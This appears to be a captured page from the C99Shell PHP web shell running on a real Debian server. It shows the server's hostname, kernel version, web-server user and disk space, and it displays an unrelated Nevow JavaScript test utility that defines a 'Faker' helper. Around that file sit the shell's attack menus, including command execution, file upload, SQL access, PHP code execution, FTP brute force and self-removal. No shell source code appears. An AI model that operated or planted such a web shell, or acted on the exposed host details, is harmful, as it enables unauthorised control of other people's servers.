!C99Shell v. 2.0 [PHP 7 Update] [25.02.2019]!

Software: Apache/2.2.16 (Debian). PHP/5.3.3-7+squeeze19 

uname -a: Linux mail.tri-specialutilitydistrict.com 2.6.32-5-amd64 #1 SMP Tue May 13 16:34:35 UTC
2014 x86_64
 

uid=33(www-data) gid=33(www-data) groups=33(www-data) 

Safe-mode: OFF (not secure)

/usr/share/pyshared/nevow/js/Nevow/Test/   drwxr-xr-x
Free 130.03 GB of 142.11 GB (91.5%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     Util.js (1.76 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
/**
 * Utilities for testing.
 */

Nevow.Test.Util.Faker = Divmod.Class.subclass("Nevow.Test.Util.Faker");
/**
 * A Faker replaces attributes on various objects, makes a record of those
 * replacements, and restores their original values when it is stopped.  It is
 * generally intended to be created in a test case's setUp and C{stop()}ped in
 * that test case's tearDown.  It can be useful for any kind of temporary
 * replacement, but especially useful for replacing fragile global state.
 *
 * @ivar _fakes: an array of objects with 3 attributes.  'parent': the object
 * which has the attribute which was replaced, 'name': the name of the
 * attribute which was replaced, 'original': the original value of that
 * attribute.
 */
Nevow.Test.Util.Faker.methods(
    /**
     * Set up a list of objects which were mocked so they can be restored in
     * tearDown.
     */
    function __init__(self) {
        self._fakes = [];
    },

    /**
     * Safely replace an attribute for the duration of the test, such that it will
     * be restored in tearDown.
     *
     * @return: the new value, for convenience in expressions such as 'var
     * fakeThing = faker.fake("fakeThing", {})';
     */
    function fake(self, name, newValue, parent /* = Divmod._global */) {
        if (parent === undefined) {
            parent = Divmod._global;
        }
        self._fakes.push({parent: parent,
                name: name,
                original: parent[name]});
        parent[name] = newValue;
        return newValue;
    },

    /**
     * Put back all objects which were faked by this faker.
     */
    function stop(self) {
        for (var i = 0; i < self._fakes.length; i++) {
            var fake = self._fakes[i];
            fake.parent[fake.name] = fake.original;
        }
    });

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.0 [PHP 7 Update] [25.02.2019] maintained by KaizenLouie | C99Shell Github | Generation time: 0.0083 ]--